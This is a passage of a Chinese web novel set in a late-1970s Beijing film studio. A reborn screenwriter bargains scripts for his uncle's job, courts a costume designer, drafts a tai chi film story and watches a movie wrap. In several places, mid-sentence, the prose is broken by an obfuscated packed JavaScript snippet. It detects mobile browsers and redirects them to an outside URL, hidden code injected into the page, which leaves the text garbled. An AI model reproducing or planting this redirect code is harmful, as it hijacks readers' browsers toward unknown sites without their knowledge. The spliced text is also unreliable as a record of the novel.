汪阳抬头,见这小子不请自来,乐了,向他招手道:“快进来,我听说你回学校上课了,怎么今儿有时间来我这里了?” 高远抬腿往里面走,笑着说:“厂长,我是无事不登三宝殿啊,有件事情要麻烦麻烦您。” “哦,换句话说,你这是夜猫子进宅,无事不来。呵呵,说吧,有啥事情要麻烦我啊?”汪阳开了个玩笑。 被老厂长调侃了,高远仍旧嬉皮笑脸没个正形。 他拉开椅子坐下来,开门见山道:“您说我是啥我就是个啥吧,谁让我有求于您老呢。是这样的,我有个小叔,亲的,他前些年在龙江垦区插队,去年底才回的京。 回来以后街道办给安排的工作不太合适,也就没去报到上班。 一家人为解决他工作的问题没少费心,可眼下的情况您老也知道,待业青年多但就业岗位少。 我爸妈拖了不少关系都没把这事儿办成。 我爸妈昨天晚上跟我聊起来愁容满面的,说实话我心疼了,自个儿就琢磨着,怎么才能帮帮我爸妈,同时也帮我小叔解决这个工作问题。 想了半天,这**着脸皮找您老来了么。 我想问问您,咱们北影厂还有安置岗位没?在不违反政策的前提下,能不能接收我小叔进厂工作啊?” 他把话一说,老厂长蹙起了眉头,返城知青工作安置的情况他很清楚。 国家虽然没有给各单位下指标,要求各单位必须提供多少岗位,接收多少知青,但大批知识青年们回城后都在托人找关系解决工作问题。 已经有好几个熟人找过自己了,让自己帮忙安排子女或是亲属的工作。 别人不说,葛存壮和施雯心老两口就找过自己好几次,让自己把他家优子安排进厂上班,他都没敢答应。 今儿高远又求自己帮忙解决他小叔的工作问题,老厂长说不为难那是假的。 “小高,我也不瞒你,最近很多熟人、朋友、厂里的干部职工为了孩子工作的问题来找过我,我是一个都没敢答应。 我能问问,你小叔所在的街道办给他安排到什么单位了吗?”汪阳问道。 高远如实说:“建国门街道办事处下辖的机床二厂,是一家小型的区属国营厂子。” “岗位是一线工人?” “对。但我小叔没有看不起工人老大哥的意思啊,他只是在垦区辛苦劳动了四年多,身子骨太虚弱了,承受不住高强度的劳动,所以才没去报到上班的。” 这得赶紧解释清楚。 现如今,国家实行工业优先发展的战略,工人阶级在社会中享受的地位非常高,你敢对工人老大哥说三道四,这是绝对的**错误。 汪阳一笑,点着高远的鼻子说道:“你这个小家伙儿,甭跟我解释那么多,我还能抓你的小辫子不成?只是你这个事儿让我很为难啊。 按理说,你小叔应该服从组织分配的,但是,他这个情况又有点特殊,应该被照顾,唉……” 高远也看出来自己这请求让汪厂长犯难了。 好在他来之前已经做足了准备,嘿嘿一笑,他说道:“您是担心给我办了,其他人会有不同意见,甚至指责您办事不公,是吧?” 汪阳点点头,说:“没错儿,毕竟人言可畏啊。” “如果我能给厂里做出杰出贡献来呢?其他人是不是就挑不出理来了?” “你小子能给厂里做什么杰出贡献啊?真能做出来,我破例给你一个进厂名额也不是不可以的。” 高远一咬牙,说道:“我免费给厂里写两个剧本,并保证电影拍摄完成后能够大爆,甚至能引发起积极的、正面的社会反响来。” 汪阳可不是个孩子,被高远一个虚无缥缈的承诺就忽悠得分不清东西南北了。 他是个老**呐。 呵呵一笑,汪阳说道:“两个剧本,顶破天五千块钱,要不,老头子我给你五千块,你给我弄个北影厂的名额成不? 再说了,电影拍摄也是有成本的,万一拍出来后达不到你的预期呢? 你小子给老头子开空头支票啊?拿老头子当礼拜天过呢?” 高远忙摆着手喊冤叫屈:“我怎么敢呐!您可冤死我啦!别的不说,我那本《李志远》您看过了吧,质量没得说吧?这本我白送您了。 另外再给您写个武侠……不是,武打片的本子,保证精彩。 据我所知,武打片这个类型也很多年没人写了吧,几家大厂也没制作过武打类型的影片了吧? 您老就不想开个先河?” 汪阳被他最后这番话打动了,但脸上仍然不动声色,“先河是那么好开的,大家就都去开了。得了,你小子也别跟我在这儿瞎白话了,你先写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402256|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,我看看再说。” “那我小叔进厂这事儿……” “剧本让我满意了,可以考虑。” 高远笑嘻嘻站了起来,说道:“我就当您答应了,谢谢老厂长啊。” 看着他这副没皮没脸的臭德行,汪阳也乐了,摆摆手说道:“滚滚滚,少在我这里碍我的眼。” 高远滚了。 汪阳点了支烟,看着他狼奔豕突的背影,心下一乐。 小子,你以为我是为了白嫖你那俩剧本才帮你办事的吗? 幼稚! 我是为了等你毕业后把你招安进厂里来才破这一回例的。 跟我斗,哼哼,你还嫩点儿! 老头儿也八百个心眼子。 却说高远,下楼后蹬着车子风驰电掣出了厂门,一路朝什刹海骑行过去。 他看过拍摄计划,今天剧组在前海拍胡嘉奇荡舟水面勇救落水儿童却闹了个乌龙那个片段。 到了拍摄现场一看,高远乐了,四周围满了指指点点看热闹的群众。 陈小二浑身湿漉漉地蹲在河沿儿上抽烟。 董子武和刘小庆一边一个,跟他说着什么。 这家伙吆喝了一嗓子:“别慎着了呢,哪位给来个手巾板儿啊。” 嗖! 一条毛巾飞过来。 他一伸手接住,捂在脑袋上开始擦拭。 高远停好车子走过来,呲着牙问道:“这是拍完了?” 陈小二一抬头,见是这货,嘴巴立刻笑成了月牙,“别提了,费老鼻子劲了,光试戏我就往里跳了7回,健群同志还不让穿衣裳,说没准备替换的,这个冷。” 高远开怀大笑,“你光着跳的?” 董子武笑着说:“跟光着也没啥区别,浑身上下就一条大裤衩子。” 刘小庆笑靥如花道:“人民群众今儿可算来着了,都称赞二子哥爱岗敬业呢。” 陈佩斯白她一眼,道:“人民群众们那是过眼瘾来了,我内部这条裤衩子,被水泡了后这个勒的慌,全被热心群众们看在眼里了。” 几个人笑的都能看到扁桃腺了。 “李老师呢?怎么没见她?”高远问道。 刘小庆也翻个白眼儿,酸溜溜说道:“我就猜到你是冲健群来的,喏,这不过来了么,你小子还不快过去请安。” 高远懒得搭理她,一打眼,见端庄秀丽的李老师迈着轻快的步伐款款走来,忙起身迎上前,笑着说道:“来了。” 李健群抿嘴一笑,“可不是来了么。” 高远挠挠头,露出一口大白牙,没话找话说:“拍摄进展得还顺利吗?” 李健群揪着裙边注视着他,点头轻声道:“都是按照拍摄计划来的,肯定顺了啊。你怎么今儿过来了?” 她说话温温柔柔的,在剧组里特别受大家喜爱。 刘小庆那么强势的女人,在她面前也没脾气。 高远一拍脑门儿,说道:“我来有事情求你帮忙。” “我正好也有事情要问你……你先说。” 第76章 好像爱情到来了 什刹海的初夏,微风徐徐,河沿儿两岸杨柳青青,和煦的阳光洒在水面上,照射的水平面荡起一圈圈涟漪。 扭头儿见陈小二几个家伙意味深长笑着,朝这边看过来,高远嘁了一声,对李健群说:“咱们去那边说吧。” 李健群俏脸绯红,点头说好。 两人走到柳树下面,高远瞧着温柔大姐姐,开门见山道:“昨儿个我母亲和我姐姐去逛街,买回来几块布,准备做几件连衣裙。 现在裁缝铺师傅们的手艺你知道啊,传统、保守,跟‘漂亮’二字压根儿就不沾边儿。 家母岁数大了,尚能忍受,家姐只比我大两岁,青春靓丽、甜美可人,花儿一般的年纪,穿件带花儿的门帘子出门可如何见人啊?” 李健群被他这比喻逗得噗嗤一笑,也明白了他的来意,爽快地说道:“我那些服装设计稿都放在招待所房间里呢,你若是不着急要,等我拍完戏回去后挑几张合适的给你成不?” 大姐姐心思灵透啊。 后世说起李健群,了解她的人对她有个刻板印象,就是忒执着,太较真儿,认准的事情九头牛都拉不回来。 比如说,她为了设计《唐明皇》《武则天》的服装,四进敦煌,七下西安,临摹壁画无数。 高远不认为她是执着,反而觉得她对于艺术,有一种近乎于痴狂的追求。 而且李老师内敛、低调、不张扬,在影视这个是非圈中洁身自好,从不周旋于老男人之间,一心做好自己的工作。 “我倒是不着急,看你时间吧。”高远端详着李健群。 长头发,身材窈窕,双眼似氤氲着朦胧水气,明眸善睐。 李健群察觉到高远犹如钩子似的眼神儿盯在自己脸上,顿觉不自在,芳心却是微微一颤。 她对高远什么观感呢? 有一丝丝的好感,但有限,又充满了好奇,觉得这个小男人一身才华满肚子故事,给人一种……与他年龄极不相符的成熟感,却又不失俏皮幽默。 她对高远还有九分感激,是高远把自己挖掘出来,推荐到北影厂,推荐给王导,自己才获得了出演这么一部大戏女主角的机会。 说是自己演艺事业道路上的领路人都不过分。 李健群也察觉到高远对她有一种别样的情愫。 女孩子嘛,第六感都超级敏锐的。 尤其是爱情将要到来的时候,这种敏锐还会无限扩大。 要不要试试呀? 李健群有点纠结,毕竟辣个蓝银没主动表白,这种事情,自己一个姑娘家怎么可能上赶着开口? 她双眼灵动地转了转,计上心来,嫣然一笑,道:“那个,要不让你姐姐来找我一下吧,带着阿姨的尺寸尺码,最好再带张照片来,我亲自给阿姨和姐姐设计几套裙装,这样也符合两人的气质。” 诶,这主意好啊。 高远也是个心思通透之人,心里美,但嘴上不说,“会不会太麻烦了?” “不麻烦的,量个尺寸,费不了多少工夫。” “那好,我回头给我姐摇个电话,让她今晚就去招待所找你。” 李健群点头说好。 高远又说:“您不是还有事儿跟我说吗?啥事儿啊?” 李健群将刘海拢到耳后,看着高远,轻声说道:“刚才导演找我了,问我愿不愿意进北影厂工作?” “你是怎么考虑的?” “我……我……我还没考虑好,这不才找你征求意见吗?” 高远乐了,觉得不妥,又收敛笑容,咳嗽一声后肃容说道:“要我说的话,这是个不可错过的好机会。当然,也得看你自己的意愿。 我是说,如果你决定今后要走这条表演的路,进北影厂工作肯定比去其他厂更合适一些。” 李健群问道:“怎么说?” “首先,北影厂是国内最顶尖的四大厂之一,不论是导演水平、演职人员素质,还是后期剪辑、制作水准,在圈内都是首屈一指的,你来了,能迅速帮助你提升业务水平。 其次,北影厂在京城,京城是中国的**、经济、文化中心,这是天然因素,是其他厂无法与之相比的。 来北影厂工作,你所能获得的拍摄机会,是其他厂女演员们可望不可即的。 当然,我也不是说其他厂的女演员们机会就少,但是这行竞争激烈啊,想凭借一部影片出人头地可太难了。 再次,你想想,王导亲自邀请你来北影厂工作了,这说明什么? 说明只要是王导的电影,角色又合适,你就是当仁不让女主角的第一选择。 你不要忘了,现在实行的可是以导演为中心的创作集体制,每一名导演都有自己固定的一套制作班子。” 高远一口气白话的嘴都干了,对李老师掰开了揉碎了长篇大论,像是个诱惑着小红帽快点开门的狼外婆。 李健群一听,果然心动。 她明年就要大学毕业了,这会儿正为去哪儿工作发愁,现如今突然有了这么个落户京城的机会,不把握住,似乎真有点说不过去。 况且高远说得对啊,无论从哪方面说,来京城工作都是最好的选择。 李老师笑了,笑得让河沿儿上的花花草草都黯然失色。 高远又补了一刀,“最后一点,我在京城啊,有我在,你还愁没戏拍吗?” 姑娘的一颗芳心小鹿乱撞,两片晚霞悄悄爬上了她娇嫩的脸颊。 呀,你这是在对我表白吗? 白他一眼,李健群含娇带嗔,道:“好,我听你的,来北影厂工作。但是你……你……哎呀,你让我考虑考虑。” 姑娘一跺脚,转身跑了。 难道爱情来临了吗? 有点突然啊。 高远乐得跟捡了一分钱交到警察姑姑手里边的傻孩子似的。 警察姑姑你慢点儿跑,别摔了! 来一趟,就不能不跟王好为见个面。 瞧他一脸骚情的样子,王导撇着嘴,问道:“得手了?” “什么话?什么话啊?您知道我的,我向来是个奉公守法的好青年,光天化日之下,肯定不能干当众表白,让姑娘脸上挂不住的糟烂事儿。” “那我怎么听说,你小子还干过半夜三更跑人姑娘家窗根儿底下念磕儿的事儿呢?假的?” 哪个王八蛋说出去的? 高远一想就猜个**不离十了,一定是梁晓声那个大嘴巴传出去的。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402257|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘿嘿一笑,说:“都是传言,都是传言,您别信啊,我压根儿没干过。” “不说这个了,你那个本子改编得如何了?” 导演指的是《李志远》。 高远唉声叹气,见闲着个马扎,他在导演身边坐了下来,“我算是把自个儿卖给北影厂了,那本子还没进行改编,又接了一个活儿。” 王好为乐了,忙问道:“什么活儿啊?” 高远简单说了一下,又道:“我小叔进了厂,让他给您打打杂成不?” 王好为倒是爽快,点头道:“这又什么不成的,你也看出来了,我正在组建自己的班底,正是缺人的时候,只要你能把事儿办成,等你小叔进了厂,我把他要过来就是了。” 高远冲导演拱拱手,笑道:“那我先谢谢导演了。” “不客气,把《李志远》给我拍就成。” “没问题。” 又聊了两句,高远告辞。 他这才感受到一点上辈子当牛马的压力,写作任务太多,必须争分夺秒。 回到北大,他连午饭都没顾上吃就找到了江南之先生。 在先生面前,高远有啥说啥,这也是先生对他的要求。 “先生,我又得常驻北影厂了。”他给先生的空茶杯中倒满了水。 江南之看着他,温和笑着,说:“老汪那个坏老头儿又压榨你了吧?” 高远一笑,道:“这次是我自个儿主动往前凑的。” 他又简单向先生叙述了一遍。 江南之点点头,说道:“去吧,难得你有一片孝心,愿意为长辈分忧解难,这个品质,我是深感欣慰的。系里你不用管,我去跟振刚说,况且他批给你的假期你不是还没有用完么。” 高远笑着说:“还有点余额,那我就不打扰先生工作了,我先撤。” 江南之微一颔首,道:“多创作一些人民群众喜闻乐见的作品出来,就是你对北大中文系做出的最大贡献了。” 高远深鞠一躬,转身离开。 回寝室收拾了一个包,在众位好友羡慕嫉妒的目光中,这货昂首挺胸出了门,奔楼下,蹬上自行车去北影厂。 十多分钟后,他走进主楼,进了文学部办公室,一眼瞧见一个发际线快秃到后脑勺,两边的头发却十分茂密的家伙正在跟梁晓声聊着什么。 哟,这不是优子么。 你啥时候回来的? 高远绷着脸走过去,装作不认识他的样子,敲敲桌面对梁晓声说道:“知道我来干啥吗?” 梁晓声乱迷糊,“你来干啥?” “老梁你**道!我那点儿破事儿是你个老丫挺的张扬出去的吧?好嘛,弄得全厂都人尽皆知了!别装蒜,你知道我说的是啥事儿!”高远瞪着眼说道。 梁晓声嘿嘿笑着说:“别生气啊,我就跟王导提了一嘴,其他人真没说。坐坐坐,我来给你介绍一下,这是葛优,施主任家大小子。 优子,这位就是我跟你说过的有为青年高远高老师。” “高老师好,久闻大名如雷贯耳。” “你好你好,久仰久仰。” 两人握了手,说着些没营养的客气话,相看两不厌,一时竟产生了相见恨晚的赶脚。 第77章 武打片 高远跟葛优寒暄过后,并没有太多接触,因为时机还不到。 他跟江淮延打声招呼后,借用了电话,打给北师大团委。 姐姐入学成绩优秀,被校团委领导器重,给她安排了个干事的职位前去帮忙。 昨天晚上,为了联系方便,姐姐把校团委的电话号码告诉了高远。 电话接通,接电话的人是一名男子。 高远直言不讳:“我是高雅的弟弟,请问我姐在吗?” 对方愣了一下,接着热情道:“是高远吧?你好你好,我久闻大名了,知道你是去年京城的高考状元……” 话没说完就被高远打断:“我找我姐,急事,麻烦您喊她一声。” 对方讪讪,说声好,喊高雅接电话。 “小远,你找我有事儿?” 听到姐姐的声音从听筒中钻进耳朵,高远二话不说,直言道:“嗯,有事,姐,你今晚来北影厂一趟吧,我们组的服装设计师要给你设计裙子。 另外,把咱妈的衣服尺寸也一并带过来。” 高雅虽有点意外,但也知道弟弟现在是个红人,爽快答应下来。 挂断电话后,高远又跟葛优聊了两句,然后告辞。 初次接触,交浅不能言深,太过热情,目的性就太明显了,也会让人生出别的想法来。 高远回到房间,开始伏案进行创作。 既然答应了老厂长要写一部武打片,写什么,就成了他首先要考虑的事情。 两年后,《少林寺》席卷全国,李连杰成为国人心目中武打明星的第一代偶像。 据说,一毛钱一张电影票,上映后在全国圈了一个亿。 对此,高远将信将疑。 但也没什么实质性的证据证明票房是错的。 但他知道,天下武功出少林,少林寺题材的武打片,在这个娱乐匮乏的年代中无疑是非常能够吸引观众们好奇且期待的目光的。 有一点高远无法判断,那就是《少林寺》的剧本,或小说,现在有没有进行创作。 年代太久远了,说实在的,他怕撞车。 所以,首先排除的就是《少林寺》。 其次,除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402258|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少林寺,还有很多类同与少林寺的电影作品可以借(piao)鉴(qie),但高远觉得没有意义,写出来也是照猫画虎,没有一点新意。 思来想去,他灵光一闪:虽说天下武功出少林,但是武当也是中国无数的传统流派。 你们写少林,我为什么不能反其道而行之,通过自己的作品弘扬武当精神呢? 这货想到此处,神采奕奕,提笔就写: “杨露禅,河北人士,家境殷实,自幼习武,长至一十六岁,偶然得知陈家沟有位太极高手名为陈正英,精通太极,便萌生拜师之意,前去拜访。 陈家沟有古训,太极不可传授于外人也。 被陈正英拒绝后,杨露禅并未灰心,偷偷学习。 期间结识了陈正英的女儿,两人一见钟情相爱相亲,后被陈正英发现,坚决阻止,还欲废掉杨露禅满身的功夫。 这时,仇家来了。 杨露禅为保护女主,舍生跟仇家相斗,乱战之中,杨露禅战而胜之,得到陈正英的认可,破例收其为徒……” 第78章 《瞧这一家子》杀青 天已暮,月如初,千里江川,任我飞渡…… 没错儿,这是根据电视剧《太极宗师》改编而来。 高远称其为:二次创作。 他对《太极宗师》可太喜欢了,上辈子反复看过好几遍。 尤其是闯塔的那几集,简直让他热血沸腾。 高远从这部剧里挑拣、梳理出一条主线,加了点自己的想法,浓缩成一部电影。 他刷刷写了三千字,突然顿笔,忽地想起来,杨露禅是中国历史上的武术名家,他的后人还在世呢,也不知道这个名字能不能用。 这个时候大家虽然没啥版权意识,你只要改编得不算离谱,基本上问题不大,不会有后人较真儿去告你的。 但是为了避免麻烦,高远还是返回头去重新修改了一遍,把人物名字换成了:杨昱乾。 一看快到六点钟了,高远站起来活动活动筋骨,打了一套自创的太极拳。 就是:我画个大西瓜,切一半给你,另一半给他,我推那种。 梁晓声领着江珊推门而入,两人哈哈大笑。 “你俩上我这儿来连门都不敲了吗?没礼貌!”高远不满地说道。 江珊凑过来,把手里的网兜递给他,“我妈包了点饺子,西葫芦鸡蛋馅儿的,打发我送一盒给你尝尝,你不吃我可拿走了。” 高远一看,网兜里一个铝饭盒,连忙接过来了,犯贫道:“我爱吃猪肉大葱馅儿的。” “我看你像个猪肉大葱。” “嘿,怎么跟我说话呢?” “就这么说,你能把我咋地?” 我木有威严是吧? 高老师坐下,将铝饭盒拿出来打开盖子,见饺子还冒着热乎气儿,干脆用手捏着吃。 别说,特别香。 “你妈也不说让你给我捎点儿醋来。” 江珊撇撇嘴,一个标点符号都不想跟他说。 “老梁,递给我两瓣儿蒜。” “臭毛病还不少。” 梁晓声拿他一点办法都没有,找了头蒜递到他手里。 “这玩意儿跟吃炸酱面一个道理,吃饺子不吃蒜,香味少一半。”他剥开蒜皮,整个丢进嘴里,咔吧咔吧嚼。 “咦?哥哥你又在写剧本啊,写了个什么故事,我康康。”江珊发现了稿纸上密密麻麻写满了文字,遂在书桌前坐下,拿起剧本阅读起来。 梁晓声一听也凑了过去,趴在桌子上看着。 竟然是个武林人士的故事,这可新奇了嘿。 江珊看了两页就看不下去了,小姑娘鲜有喜欢看武打故事的,觉得打打杀杀的特没劲。 梁晓声从她手里把剧本接过来,却看得劲儿劲儿的。 五千字没多少篇幅,他很快看完,一脸激动道:“高远你厉害啊,这个故事太棒了,开篇就很有吸引力,杨昱乾从被陈正英拒绝,到偷师学艺,再到被陈少琪一见倾心,短短几段描述简洁、浪漫,又充满力量。 矛盾冲突感也特别强。 就是,就是……” 高远吃完最后一个饺子,把饭盒放在茶几上,擦擦手后笑着说:“就是这不像是个剧本,更像是本小说,是这个意思吧?” 梁晓声点头道:“对,你在故事中大量描写了自然风光、山河壮美,杨昱乾和陈少琪在村子周围游山玩水,剧本哪有这么写的,都是一笔带过,让导演在拍摄的时候自由发挥。 我没猜错的话,你还要给杂志社供稿是吧。” 高远心说废话,这个故事属于白送给你们厂的,哥们儿一分钱都挣不到,两头吃不着,哥们儿总得吃一头吧? 他也不瞒梁晓声,直言道:“嗯,能多挣点是一点。” 江珊鄙视他这种行为:“钱串子。” 嘿,你个小破孩儿,最没资格说这句话的人就是你。 等你出名了,你比哥要价狠多了。 高远起身,走到书桌前拉开抽屉拿出一包大白兔来腐蚀江珊,“吃吧,含着糖就能堵住你这张嘴了。” 呀,小半包诶。 江珊开心yin,笑成了眯眯眼,俩酒窝若隐若现。 大白兔可是个稀罕物,这一包要八块钱呢,老百姓们都是论块买,号称七块大白兔相当于一杯牛奶。 尼克松访华的时候,领导同志也才送给他一包。 高远这半包还是过年时剩下的,家里没人爱吃糖,他想起曾给江珊许诺,要送她一些大白兔,就给带到招待所来了。 江珊最爱大白兔,剥了一块塞进嘴里。 浓浓的奶香味充斥着口腔,小姑娘心满意足,小嘴儿倍儿甜:“谢谢哥哥。” 呸,你个两面派! 梁晓声倒骑着椅子,蹙着眉头说道:“你这个小说想要在传统杂志上发表难度不小啊。” 高远不明所以,问道:“有什么问题吗?” 梁晓声摸摸口袋,发现没带烟,又把手抽了回来。 高远掏出烟盒,丢给他一根,自己也叼了根。 各自点上后,梁晓声说道:“无论是《BJ文艺》《收获》,还是其他杂志,《人民文学》《萌芽》什么的,刊发的小说大多以严肃文学为主,你这个题材,过于新颖了,我担心没有杂志敢尝试刊登。 不对,也有,倒是可以尝试投给《**故事会》。” 《**故事会》是个什么鬼? 高远深挖记忆,想起来了,就是《故事会》嘛。 说起来,《故事会》的创刊很有意思,起初,它就是一本**宣教读物。 大概是在62年,教员同志提出要对广大人民群众进行社会主义教育。 要求从现在起,必须年年讲,月月讲,天天讲,使我们对这个问题有比较清醒的认知。 为响应伟大领袖的号召,全国出现了很多宣讲员,他们把发展史、**史、斗争史编成一个个小故事,义务讲解给广大人民群众。 在这种背景下,《故事会》顺理成章地创刊了。 这是一本专门讲故事的杂志。 人道主义洪流时期,杂志改名为《**故事会》,一直被沿用至今。 “那不是讲**故事的杂志吗?肯收我这类型的小说?” 高远也咂摸过味儿来了。 老梁说得没错,传统杂志大概率不会刊发这类型的小说,武打故事在他们看来属于离经叛道的类型。 他们高高在上,以“主流杂志”自居,对这类通俗小说自然是不屑一顾的。 但《故事会》这会儿也没改名呢,高远有点担心被拒稿。 梁晓声笑了,说:“我听说,上面正在研究杂志恢复原本名称的事情,差不多得到通过了。另外,杂志社的主编思想非常开化。 以前的杂志,是设有专栏的,现在没有了,每一期连载五个长篇故事,两个手抄本,两个**史,还有一个通俗小说。” 说着,他一拍大腿,又道:“这事儿你甭管了,专心写你的,什么时候完稿了,什么时候我帮你寄过去。” 高远问道:“你有熟人?” 梁晓声惭愧道:“没有。” “闭着眼投稿啊?” “稿子质量摆在这儿呢,除非编辑瞎了眼,否则不可能被拒的。不过我建议你最好起个笔名,用本名投稿,就有点儿坏名声了。” 高远不以为意,摆摆手说道:“没那个必要,这小说最后还是会被改编成剧本,编剧一栏里还要写我的名字,用笔名就多此一举了。” 见他坚持,梁晓声也不再劝。 此时,李健群和高雅出现在门外。 两人牵着手,一副相见恨晚,闺蜜情深的样子。 “小远,我来了。”高雅说着,走进来。 高远忙站起身,笑着说:“快进来快进来,尺寸量好了吧?” 姐姐一笑,点头说:“量好了,健群太专业了,从头到脚给我量的可丁可卯的,多一分显肥,少一分显瘦。 并且健群设计的裙子太漂亮了,尤其是荷叶领那件儿,我一眼就相中了。 呀! 这个小姑娘好漂亮啊。” 江珊乖巧得像一只猫咪,起身礼貌地问候道:“姐姐好,您过奖了,我也就是个一般人儿,姐姐比我漂亮多了呢。” 呸!你个马屁精! 高远又吐槽了一句。 李健群给高雅做着介绍:“这是文学部江淮延老师的孩子,叫江珊,我们都叫她珊珊。” 高雅伸出手,笑着说:“珊珊你好。” 江珊跟她握了握,小大人儿一般,又说:“姐姐好。” 高雅应邀来量体裁衣,顺道过来看看高远。 她又跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哟,神龙见首不见尾的高老师,今儿怎么突然来视察工作了?” “高导好啊,很久不见甚是想念呢。” “大才子这是闭关结束了呀?嚯,这头发,都跟杂草似的了,这稀了吧唧的胡茬子,看上去就那么沧桑。哎哟我的天呐,您几天没洗澡了?都馊了。” “滚!我昨晚刚洗过。” 跟大家哈拉了两句,见王好为笑眯眯坐在监视器后面,手里拿着剧本望着自己,高远走过去,笑道:“我听说还剩最后两场戏,就过来瞧瞧。” 王好为说道:“你来得正好,今儿就能拍完了,正式结束后咱们在食堂里聚个餐,算是给这部影片画一个圆满的句号。” 高远说声好,在王导身边坐下,也拿了个剧本看着拍摄计划。 这场戏征用了北影厂大澡堂子,讲的是郁林、嘉英等人去洗澡。 郁林名为洗澡,实际上却是为了探查淋浴喷头的光电管原理而去。 见各部门已经准备就绪,王好为说道:“女同志们都回避吧,郁林和几名男同志做准备,咱们先走一遍。” 女同志们红着脸出去了。 饰演郁林的汪用桓拖得只剩下一条大裤衩,他肩膀上搭着条白毛巾,往喷头底下一站,水下来了。 他咝地一声,“嚯,这个凉。” 大家笑成一片。 高远提醒他:“先让水流一会儿,虽然是大夏天的,猛的一激也够你受的。” 汪用桓冲高远一抱拳,笑道:“感谢高老师提醒,我知道了。” 走了两遍戏,王好为感觉还成,遂进入到正式拍摄阶段。 高远却觉得很尬,这个年代的演员们,记台词是基本功,但表演方式却不能让他满意。 为啥? 因为他们无论说什么,都带着一股子话剧味儿。 偏偏他还没办法纠正,因为大家都是这么演的。 尤其是那几位老同志,习惯了一种表演风格,你贸然让他去改变,人家听不听你的两说着,耽误了拍摄进度,你也承担不起。 高远只能忍受,同时在心里琢磨着,下部戏,一定要多找些外行人和年轻人,哪怕自个儿慢慢调教呢,也要注入一些有别于这个时代的先进表演方式。 两个镜头顺利拍摄完后,王好为宣布:“影片《瞧这一家子》正式拍摄完成!” 第79章 姐姐,我好喜欢你呀 在大澡堂子里宣布影片杀青,这怕也是开天辟地头一回了。 陈佩斯走过来笑着对导演鞠躬,说了几句感谢导演关照,今后多多合作之类的客气话,又跟高远嘿嘿一笑,击掌相庆。 汪用桓、董子武、刘小庆、张金玲几个年轻人也过来跟导演打招呼,也跟高远聊两句。 看着这一幕,高远鼻头发酸,从去年底把剧本送过来,然后被邀请过来改稿,到今年初开始进行拍摄筹备,再到选演员、开机,经历过各种不顺、演员磨合到位后拍摄进展变得平顺起来,最后顺利结束拍摄任务…… 历时八个月,自己主笔的第一部影片,终于落下帷幕了。 要说心里没一点不舍怎么可能? 不过高远也清楚,这部影片的拍摄完成只是自己立足影视界迈出的第一步,将来会有更多自己创作的剧本被拍摄成电影或者电视剧。 他心里更多的是满足感和自豪感,也可以说,重生以来第一阶段的任务圆满完成了。 可以进入第二阶段了。 七月底的京城,哪怕傍晚,热气依然经久不散。 高远从澡堂子里走出来时,头发剃短了,胡茬子也让师傅刮得一干二净,泡了个澡,刚从池子里出来的时候神清气爽,一出门,嚯…… 后背上又开始冒汗了。 的确良衬衣穿上确实帅气,但这玩意儿它不透气,汗珠子顺着后脊梁噼里啪啦往下淌,那叫一个酸爽。 高远暗戳戳琢磨着,赶明儿说啥都得去买些纯棉布,拜托大姐姐给做几件老头衫。 他边想边走着。 “卖冰棍喽,有杨梅的桔子的酸梅的,小豆的奶油的红果的,嗦啦一口清凉解暑,吃上一根浑身冒凉气哦……” 带着浓郁京味儿的吆喝声钻进他的耳朵眼儿里。 高远举目望去,见一个推着自行车的大妈正在厂门口徘徊。 他乐了,疾步走过去。 大妈自行车后座上绑一个泡沫箱子,箱子上用厚棉被保温,她见一帅小伙儿过来了,笑容满面问道:“买冰棍吗?” 高远点点头,问道:“多少钱一根啊?” 大妈将棉被揭开,说:“水果的三分钱一根,小豆、奶油、红果的五分,最贵的是双棒雪糕,一毛**还价儿。您来几根?” 高远了解了价格,再度感慨这年头儿的物价真便宜啊。 “大妈,您这箱子里还有几根?” “那可多了去了,五六十根是有的,咋?你还能全要了不成?” 高远伸出大拇哥往后面一指,笑着说:“我们北影厂1000多号职工呢,您这五六十根雪糕都不够一人舔一口的,我给您包圆儿了,麻烦您算算账吧。” 大妈一听喜笑颜开,也冲高远竖起根大拇指,道:“我一瞧小伙子你就是干后勤的,豪气!你等等啊,我数一数。” 说完,大妈开始清点泡沫箱子里面的冰棍,共有56根,水果的20根,小豆奶油红果的25根,还有11根双棒雪糕。 “三块五,嘿,您有整票都不用找零儿。”大妈笑着说道。 这大妈一看就是个社会人。 